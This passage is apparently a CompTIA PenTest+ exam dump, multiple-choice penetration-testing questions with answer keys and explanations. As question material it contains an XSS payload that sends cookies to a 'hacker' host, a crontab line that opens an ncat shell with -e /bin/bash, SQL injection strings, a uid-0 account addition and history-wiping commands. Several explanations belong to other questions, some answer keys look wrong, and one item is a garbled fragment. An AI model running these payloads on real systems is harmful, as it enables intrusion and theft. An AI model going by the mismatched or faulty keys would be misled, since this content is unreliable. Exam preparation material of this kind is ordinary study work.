//192.168.100.56/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Jul 20 10:14:37 2020

```

Which of the following commands should the penetration tester run NEXT?

- A. smbpool //192.160.100.56/print\$
- B. net rpc share -S 192.168.100.56 -U "
- C. smbget //192.168.100.56/web -U "
- D. smbclient //192.168.100.56/web -U " -N

Answer: D

Explanation:

A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

NEW QUESTION 177

You are a penetration tester reviewing a client's website through a web browser. INSTRUCTIONS

Review all components of the website through the browser to determine if vulnerabilities are present. Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.





Secure System

← → ↻ <https://comptia.org/login.aspx#viewsource>

```
<html>
<head>
<title>Secure Login </title>
</head>
<body>
<meta
content="c2RmZGZnaHNzZmtqbGdoc2Rma2pnaGRzZmpoZGZvaW2aGRmc29pYmp3ZXIndWdm9pb2hzZGd1aWJoaGR1ZmZpZ2hzZDtpYmhqZHNmc291Ymduc3d5ZGi1Z2Zi
bnNkbGtqO2Job3VpYXNpZGZubXM7bGtKZmliaHZsb3NhZGJua2N4dnZ1aWdia3NqYWVqa2JmbGI1Y3Z2Z2ZJobGFzZwJmaXVkaZGZidmxiambGhke3VmZyBuc2pyZ2hzZHVmaG
d1d3NmZ2hqZHNmZmJ1c2hmdWRzZmZoz3U3cndweWhmamRzZmZ2bnVzZm53cnVMYnZ1ZXJ2=="name="csrf-token"/>
<script>
document.write("<OPTION value=1>"*document.location.href.substring(document.location.href.indexOf("=")+16)+"<OPTION>");
</script></script>
<div align="center">
<form action="<c:url value='main.do'>"method="post">
<div style="margin-top: 200px;margin-bottom: 10px;">
<span style="width: 500px;color: blue;font-size: 30px;font-weight: bold;border-bottom: 1 px solid blue;">Comptia Secure System Login</span>
</div>
<div style="margin-bottom: 5px;">
<span style="width: 100px;">Name</span>
<input style="width: 150px;" type="text" name="name" id="name" value="">
<!-- input style="width: 150px;" type="text" name="name" id="name" value="admin"-->
</div>
<div><span style="width: 100px;">Password: </span><input style="width: 150px;" type="password" name="Password" id="password" value="">
<!--><span style="width: 100px;">Password: </span><input style="width: 150px;" type="password" name="Password" id="password" value="password" -->
</div>
</div>
```

Secure System

← → ↻ <https://comptia.org/login.aspx#viewcookies>

Name	Value	Domain	Path	Expires/...	Size	HTTP	Secure	SameSite
ASP.NET_SessionId	h1bcdctse2ewvqwf4bdcb3v	www.com...	/	Session	41			
__utma	36104370.911013732.1508266963.1508266963.1508266963.1	comptia.o...	/	2019-10-1...	59			
__utmb	361044370.7.9.1508267988443	comptia.o...	/	2017-10-1...	32			
__utmc	36104370	comptia.o...	/	Session	14			
__utmt	1	comptia.o...	/	2017-10-1...	7			
__utmv	36104370. 2=Account%20Type=Not%20Defined=1	comptia.o...	/	2019-10-1...	48			
__utmz	36104370.1508266963.1.1.utmc sr=google utmccn=(organic) utm c...	comptia.o...	/	2018-04-1...	99			
_sp_id.0767	4a84866c6ffff51c.1508266964.1508258019.1508266964.81ff34f7...	comptia.o...	/	2019-10-1...	99			
_sp_ses.0767	*	comptia.o...	/	2017-10-1...	13			

Answer: A

Explanation:

Graphical user interface Description automatically generated

NEW QUESTION 179

The following output is from reconnaissance on a public-facing banking website:

```
...
Start 2021-02-02 18:24:59 -->> 192.168.1.66:443 (192.168.1.66) <<--
rDNS (192.168.1.66): centralbankwebservice.local
Service detected: HTTP

Testing protocols via sockets except NPN+ALPN
SSLv2 not offered (OK)
SSLv3 not offered (OK)
TLS 1 offered (deprecated)
TLS 1.1 not offered
TLS 1.2 not offered and downgraded to a weaker protocol
TLS 1.3 not offered and downgraded to a weaker protocol
NPN/SPDY not offered
ALPN/HTTP2 not offered
Testing cipher categories
NULL ciphers (no encryption) not offered (OK)
Anonymous NULL Ciphers (no authentication) not offered (OK)
Export ciphers (w/o ADH+NULL) not offered (OK)
LOW: 64 Bit + DES, RC[2,4] (w/o export) offered (NOT ok)
Triple DES Ciphers / IDEA offered
Obsolete CBC ciphers (AES, ARIA etc.) offered
Strong encryption (AEAD ciphers) not offered

Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4
No ciphers supporting Forward Secrecy offered

Testing server preferences
Has server cipher order? no (NOT ok)
Negotiated protocol TLSv1
Negotiated cipher AES256-SHA (limited sense as client will pick)
...
```

Based on these results, which of the following attacks is MOST likely to succeed?

- A. A birthday attack on 64-bit ciphers (Sweet32)
- B. An attack that breaks RC4 encryption
- C. An attack on a session ticket extension (Ticketbleed)
- D. A Heartbleed attack

Answer: B

NEW QUESTION 184

A penetration tester wants to validate the effectiveness of a DLP product by attempting exfiltration of data using email attachments. Which of the following techniques should the tester select to accomplish this task?

- A. Steganography
- B. Metadata removal
- C. Encryption
- D. Encode64

Answer: B

Explanation:

All other answers are a form of encryption or randomizing the data.

NEW QUESTION 185

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.

Which of the following describes the scope of the assessment?

- A. Partially known environment testing
- B. Known environment testing
- C. Unknown environment testing
- D. Physical environment testing

Answer: C

NEW QUESTION 190

During a web application test, a penetration tester was able to navigate to <https://company.com> and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

- A. The SSL certificates were invalid.
- B. The tester IP was blocked.

- C. The scanner crashed the system.
- D. The web page was not found.

Answer: B

NEW QUESTION 194

A penetration tester ran a ping -A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?

- A. Windows
- B. Apple
- C. Linux
- D. Android

Answer: A

NEW QUESTION 199

When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

- A. security compliance regulations or laws may be violated.
- B. testing can make detecting actual APT more challenging.
- C. testing adds to the workload of defensive cyber- and threat-hunting teams.
- D. business and network operations may be impacted.

Answer: D

NEW QUESTION 201

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

- A. Phishing
- B. Tailgating
- C. Baiting
- D. Shoulder surfing

Answer: C

NEW QUESTION 203

A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?

- A. The penetration tester was testing the wrong assets
- B. The planning process failed to ensure all teams were notified
- C. The client was not ready for the assessment to start
- D. The penetration tester had incorrect contact information

Answer: B

NEW QUESTION 205

Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

- A. Dictionary
- B. Directory
- C. Symlink
- D. Catalog
- E. For-loop

Answer: A

NEW QUESTION 209

The attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host delivery and write the discovery to files without returning results of the attack machine?

- A. nmap -sn --exclude 10.1.1.15 10.1.1.0/24 -oA target.txt
- B. nmap -iR 10.0.0.0/24 --out-file out.xml | grep Nmap | cut -d '"' -f 5 > live-hosts.txt
- C. nmap -Pn -oL target.txt -A target_text_Service
- D. nmap -sSPn -iL target.txt -A target_txtl

Answer: A

Explanation:

According to the Official CompTIA PenTest+ Self-Paced Study Guide¹, the correct answer is A. nmap -sn -n --exclude 10.1.1.15 10.1.1.0/24 -oA target.txt.

This command will perform a ping scan (-sn) without reverse DNS resolution (-n) on the IP range 10.1.1.0/24, excluding the attack machine's IP address (10.1.1.15) from the scan (-exclude). It will also output the results in three formats (normal, grepable and XML) with a base name of target.txt (-oA).

NEW QUESTION 210

A company that develops embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse-engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

- A. The reverse-engineering team may have a history of selling exploits to third parties.
- B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
- C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
- D. The reverse-engineering team will be given access to source code for analysis.

Answer: A

NEW QUESTION 214

A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?

- A. Send deauthentication frames to the stations.
- B. Perform jamming on all 2.4GHz and 5GHz channels.
- C. Set the malicious AP to broadcast within dynamic frequency selection channels.
- D. Modify the malicious AP configuration to not use a pre-shared key.

Answer: A

Explanation:

<https://steemit.com/informatica/@jordiurbina1/tutorial-hacking-wi-fi-wireless-networks-with-wifislax>

NEW QUESTION 219

A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

- A. Check the scoping document to determine if exfiltration is within scope.
- B. Stop the penetration test.
- C. Escalate the issue.
- D. Include the discovery and interaction in the daily report.

Answer: B

Explanation:

"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

NEW QUESTION 223

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

- A. `schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe`
- B. `wmic startup get caption,command`
- C. `crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash" | crontab 2>/dev/null`
- D. `sudo useradd -ou 0 -g 0 user`

Answer: A

NEW QUESTION 224

168.2.2

3: `#!/usr/bin/python export $PORTS = 21,22 for $PORT in $PORTS: try:`

- A. Mastered
- B. Not Mastered

Answer: A

NEW QUESTION 228

Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)

- A. The CVSS score of the finding
- B. The network location of the vulnerable device
- C. The vulnerability identifier
- D. The client acceptance form
- E. The name of the person who found the flaw
- F. The tool used to find the issue

Answer: CF

NEW QUESTION 233

A physical penetration tester needs to get inside an organization's office and collect sensitive information without acting suspiciously or being noticed by the security guards. The tester has observed that the company's ticket gate does not scan the badges, and employees leave their badges on the table while going to the restroom. Which of the following techniques can the tester use to gain physical access to the office? (Choose two.)

- A. Shoulder surfing
- B. Call spoofing
- C. Badge stealing
- D. Tailgating
- E. Dumpster diving
- F. Email phishing

Answer: CD

NEW QUESTION 238

A security firm has been hired to perform an external penetration test against a company. The only information the firm received was the company name. Which of the following passive reconnaissance approaches would be MOST likely to yield positive initial results?

- A. Specially craft and deploy phishing emails to key company leaders.
- B. Run a vulnerability scan against the company's external website.
- C. Runtime the company's vendor/supply chain.
- D. Scrape web presences and social-networking sites.

Answer: D

NEW QUESTION 241

A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system. After running a few commands, the tester runs the following:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Which of the following actions is the penetration tester performing?

- A. Privilege escalation
- B. Upgrading the shell
- C. Writing a script for persistence
- D. Building a bind shell

Answer: B

NEW QUESTION 242

A penetration tester is reviewing the following SOW prior to engaging with a client:

"Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner."

Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

- A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
- B. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
- C. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
- D. Seeking help with the engagement in underground hacker forums by sharing the client's public IP address
- E. Using a software-based erase tool to wipe the client's findings from the penetration tester's laptop
- F. Retaining the SOW within the penetration tester's company for future use so the sales team can plan future engagements

Answer: CD

NEW QUESTION 246

A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

- A. The web server is using a WAF.
- B. The web server is behind a load balancer.
- C. The web server is redirecting the requests.
- D. The local antivirus on the web server is rejecting the connection.

Answer: A

Explanation:

A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

NEW QUESTION 249

Which of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.)

- A. Use of non-optimized sort functions
- B. Poor input sanitization
- C. Null pointer dereferences

- D. Non-compliance with code style guide
- E. Use of deprecated Javadoc tags
- F. A cyclomatic complexity score of 3

Answer: BC

NEW QUESTION 250

The results of an Nmap scan are as follows:

Starting Nmap 7.80 (<https://nmap.org>) at 2021-01-24 01:10 EST

Nmap scan report for (10.2.1.22) Host is up (0.0102s latency).

Not shown: 998 filtered ports Port State Service

80/tcp open http

|_http-title: 80F 22% RH 1009.1MB (text/html)

|_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <..>

Device type: bridge|general purpose

Running (JUST GUESSING) : QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches found for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/>. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

- A. Network device
- B. Public-facing web server
- C. Active Directory domain controller
- D. IoT/embedded device
- E. Exposed RDP
- F. Print queue

Answer: BD

Explanation:

<https://www.netsecscout.com/what-is-ddos/slowloris-attacks>

From the http-title in the output, this looks like an IoT device with RH implying Relative Humidity, that offers a web-based interface for visualizing the results.

NEW QUESTION 254

A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

- A. Immunity Debugger
- B. OllyDbg
- C. GDB
- D. Drozer

Answer: B

NEW QUESTION 257

A red team completed an engagement and provided the following example in the report to describe how the team gained access to a web server:

x' OR role LIKE '%admin%

Which of the following should be recommended to remediate this vulnerability?

- A. Multifactor authentication
- B. Encrypted communications
- C. Secure software development life cycle
- D. Parameterized queries

Answer: D

NEW QUESTION 259

A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant. Which of the following is the MINIMUM frequency to complete the scan of the system?

- A. Weekly
- B. Monthly
- C. Quarterly
- D. Annually

Answer: C

Explanation:

<https://www.pcicomplianceguide.org/faq/#25>

PCI DSS requires quarterly vulnerability/penetration tests, not weekly.

NEW QUESTION 261

Given the following code:

```
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
```

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

- A. Web-application firewall
- B. Parameterized queries
- C. Output encoding
- D. Session tokens
- E. Input validation
- F. Base64 encoding

Answer: CE

Explanation:

Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.

NEW QUESTION 263

A penetration tester has extracted password hashes from the lsass.exe memory process. Which of the following should the tester perform NEXT to pass the hash and provide persistence with the newly acquired credentials?

- A. Use Patator to pass the hash and Responder for persistence.
- B. Use Hashcat to pass the hash and Empire for persistence.
- C. Use a bind shell to pass the hash and WMI for persistence.
- D. Use Mimikatz to pass the hash and PsExec for persistence.

Answer: D

Explanation:

Mimikatz is a credential hacking tool that can be used to extract logon passwords from the LSASS process and pass them to other systems. Once the tester has the hashes, they can then use PsExec, a command-line utility from Sysinternals, to pass the hash to the remote system and authenticate with the new credentials. This provides the tester with persistence on the system, allowing them to access it even after a reboot.

"A penetration tester who has extracted password hashes from the lsass.exe memory process can use various tools to pass the hash and gain access to other systems using the same credentials. One tool commonly used for this purpose is Mimikatz, which can extract plaintext passwords from memory or provide a pass-the-hash capability. After gaining access to a system, the tester can use various tools for persistence, such as PsExec or WMI." (CompTIA PenTest+ Study Guide, p. 186)

NEW QUESTION 268

Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?

- A. MSA
- B. NDA
- C. SOW
- D. ROE

Answer: B

NEW QUESTION 269

Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?

- A. To provide feedback on the report structure and recommend improvements
- B. To discuss the findings and dispute any false positives
- C. To determine any processes that failed to meet expectations during the assessment
- D. To ensure the penetration-testing team destroys all company data that was gathered during the test

Answer: C

NEW QUESTION 270

A penetration tester needs to access a building that is guarded by locked gates, a security team, and cameras. Which of the following is a technique the tester can use to gain access to the IT framework without being detected?

- A. Pick a lock.
- B. Disable the cameras remotely.
- C. Impersonate a package delivery worker.
- D. Send a phishing email.

Answer: C

NEW QUESTION 272

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:

- A. will reveal vulnerabilities in the Modbus protocol.
- B. may cause unintended failures in control systems.
- C. may reduce the true positive rate of findings.
- D. will create a denial-of-service condition on the IP networks.

Answer: B

NEW QUESTION 277

Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?

- A. Analyze the malware to see what it does.
- B. Collect the proper evidence and then remove the malware.
- C. Do a root-cause analysis to find out how the malware got in.
- D. Remove the malware immediately.
- E. Stop the assessment and inform the emergency contact.

Answer: E

NEW QUESTION 279

The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports

Port      State  Service  Version
22/tcp    open  ssh      OpenSSH 6.6.1p1
53/tcp    open  domain   dnsmasq 2.72
80/tcp    open  http     lighttpd
443/tcp   open  ssl/http httpd

Service Info: OS: Linux; Device: router; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

- A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- B. This device is most likely a gateway with in-band management services.
- C. This device is most likely a proxy server forwarding requests over TCP/443.
- D. This device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Answer: B

Explanation:

The heart bleed bug is an open ssl bug which does not affect SSH Ref:
<https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh>

NEW QUESTION 282

A penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last user who signed in to the web server. Which of the following log files will show this activity?

- A. /var/log/messages
- B. /var/log/last_user
- C. /var/log/user_log
- D. /var/log/lastlog

Answer: D

Explanation:

The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address, and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.

NEW QUESTION 287

A penetration tester runs the following command on a system:

```
find / -user root -perm -4000 -print 2>/dev/null
```

Which of the following is the tester trying to accomplish?

- A. Set the SGID on all files in the / directory
- B. Find the /root directory on the system
- C. Find files with the SUID bit set
- D. Find files that were created during exploitation and move them to /dev/null

Answer: C

Explanation:

the 2>/dev/null is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session.

NEW QUESTION 289

A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

- A. Credential harvesting
- B. Privilege escalation
- C. Password spraying
- D. Domain record abuse

Answer: A

NEW QUESTION 294

A penetration tester gains access to a system and establishes persistence, and then runs the following commands:

```
cat /dev/null > temp
```

```
touch -r .bash_history temp mv temp .bash_history
```

Which of the following actions is the tester MOST likely performing?

- A. Redirecting Bash history to /dev/null
- B. Making a copy of the user's Bash history for further enumeration
- C. Covering tracks by clearing the Bash history
- D. Making decoy files on the system to confuse incident responders

Answer: C

NEW QUESTION 296

Which of the following is the BEST resource for obtaining payloads against specific network infrastructure products?

- A. Exploit-DB
- B. Metasploit
- C. Shodan
- D. Retina

Answer: A

Explanation:

"Exploit Database (ExploitDB) is a repository of exploits for the purpose of public security, and it explains what can be found on the database. The ExploitDB is a very useful resource for identifying possible weaknesses in your network and for staying up to date on current attacks occurring in other networks"

NEW QUESTION 301

A penetration tester is cleaning up and covering tracks at the conclusion of a penetration test. Which of the following should the tester be sure to remove from the system? (Choose two.)

- A. Spawned shells
- B. Created user accounts
- C. Server logs
- D. Administrator accounts
- E. Reboot system
- F. ARP cache

Answer: AB

Explanation:

Removing shells: Remove any shell programs installed when performing the pentest.

Removing tester-created credentials: Be sure to remove any user accounts created during the pentest. This includes backdoor accounts.

Removing tools: Remove any software tools that were installed on the customer's systems that were used to aid in the exploitation of systems.

NEW QUESTION 305

A penetration tester is looking for vulnerabilities within a company's web application that are in scope. The penetration tester discovers a login page and enters the following string in a field:

```
1;SELECT Username, Password FROM Users;
```

Which of the following injection attacks is the penetration tester using?

- A. Blind SQL
- B. Boolean SQL
- C. Stacked queries
- D. Error-based

Answer: D

NEW QUESTION 306

The output from a penetration testing tool shows 100 hosts contained findings due to improper patch management. Which of the following did the penetration tester perform?

- A. A vulnerability scan
- B. A WHOIS lookup
- C. A packet capture
- D. An Nmap scan

Answer: A

Explanation:

A vulnerability scan is a type of penetration testing tool that is used to scan a network for vulnerabilities. A vulnerability scan can detect misconfigurations, missing patches, and other security issues that could be exploited by attackers. In this case, the output shows that 100 hosts had findings due to improper patch management, which means that the tester performed a vulnerability scan.

NEW QUESTION 311

A penetration tester receives the following results from an Nmap scan:

Interesting ports on 192.168.1.1:

Port	State	Service
21/tcp	closed	ftp
22/tcp	open	ssh
23/tcp	closed	telnet
25/tcp	closed	smtp
80/tcp	open	http
110/tcp	closed	pop3
139/tcp	closed	nethics-ssn
443/tcp	closed	https
3389/tcp	closed	rdp

Which of the following OSs is the target MOST likely running?

- A. CentOS
- B. Arch Linux
- C. Windows Server
- D. Ubuntu

Answer: C

NEW QUESTION 315

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

- A. nmap192.168.1.1-5-PU22-25,80
- B. nmap192.168.1.1-5-PA22-25,80
- C. nmap192.168.1.1-5-PS22-25,80
- D. nmap192.168.1.1-5-Ss22-25,80

Answer: C

Explanation:

PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.

NEW QUESTION 316

A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit?

- A. Perform XSS.
- B. Conduct a watering-hole attack.
- C. Use BeEF.
- D. Use browser autopwn.

Answer: A

NEW QUESTION 318

A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

- A. nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan
- B. nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan
- C. nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan
- D. nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan

Answer: C

NEW QUESTION 321

A company provided the following network scope for a penetration test:

- * 169.137.1.0/24
- * 221.10.1.0/24
- * 149.14.1.0/24

A penetration tester discovered a remote command injection on IP address 149.14.1.24 and exploited the system. Later, the tester learned that this particular IP address belongs to a third party. Which of the following stakeholders is responsible for this mistake?

- A. The company that requested the penetration test
- B. The penetration testing company
- C. The target host's owner

- D. The penetration tester
- E. The subcontractor supporting the test

Answer: A

NEW QUESTION 323

Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

- A. SOW
- B. SLA
- C. MSA
- D. NDA

Answer: A

NEW QUESTION 324

A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago.

In which of the following places should the penetration tester look FIRST for the employees' numbers?

- A. Web archive
- B. GitHub
- C. File metadata
- D. Underground forums

Answer: A

NEW QUESTION 327

Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)

- A. The libraries may be vulnerable
- B. The licensing of software is ambiguous
- C. The libraries' code bases could be read by anyone
- D. The provenance of code is unknown
- E. The libraries may be unsupported
- F. The libraries may break the application

Answer: AC

NEW QUESTION 332

Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

- A. A quick description of the vulnerability and a high-level control to fix it
- B. Information regarding the business impact if compromised
- C. The executive summary and information regarding the testing company
- D. The rules of engagement from the assessment

Answer: A

Explanation:

The systems administrator and the technical staff would be more interested in the technical aspect of the findings

NEW QUESTION 333

A penetration tester opened a reverse shell on a Linux web server and successfully escalated privileges to root. During the engagement, the tester noticed that another user logged in frequently as root to perform work tasks. To avoid disrupting this user's work, which of the following is the BEST option for the penetration tester to maintain root-level persistence on this server during the test?

- A. Add a web shell to the root of the website.
- B. Upgrade the reverse shell to a true TTY terminal.
- C. Add a new user with ID 0 to the /etc/passwd file.
- D. Change the password of the root user and revert after the test.

Answer: C

Explanation:

The best option for the penetration tester to maintain root-level persistence on this server during the test is to add a new user with ID 0 to the /etc/passwd file. This will allow the penetration tester to use the same user account as the other user, but with root privileges, meaning that it won't disrupt the other user's work. This can be done by adding a new line with the username and the numerical user ID 0 to the /etc/passwd file. For example, if the username for the other user is "johndoe", the line to add would be "johndoe:x:0:0:John Doe:/root:/bin/bash". After the user is added, the penetration tester can use the "su" command to switch to the new user and gain root privileges.

NEW QUESTION 338

During an assessment, a penetration tester obtains a list of 30 email addresses by crawling the target company's website and then creates a list of possible usernames based on the email address format. Which of the following types of attacks would MOST likely be used to avoid account lockout?

- A. Mask
- B. Rainbow
- C. Dictionary
- D. Password spraying

Answer: D

NEW QUESTION 341

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

- The following request was intercepted going to the network device: GET /login HTTP/1.1
 Host: 10.50.100.16
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5
 Connection: keep-alive
 Authorization: Basic WU9VUilOQU1FOnNIY3JldHBhc3N3b3jk
- Network management interfaces are available on the production network.
- An Nmap scan returned the following:

```

Port      State      Service      Version
22/tcp    open       ssh          Cisco SSH 1.25 (protocol 2.0)
80/tcp    open       http         Cisco IOS http config
|_https-title: Did not follow redirect to https://10.50.100.16
443/tcp   open       https        Cisco IOS https config
  
```

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

- A. Enforce enhanced password complexity requirements.
- B. Disable or upgrade SSH daemon.
- C. Disable HTTP/301 redirect configuration.
- D. Create an out-of-band network for management.
- E. Implement a better method for authentication.
- F. Eliminate network management and control interfaces.

Answer: CD

NEW QUESTION 342

When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?

- A. <#
- B. <\$
- C. ##
- D. #
- E. #!

Answer: E

NEW QUESTION 343

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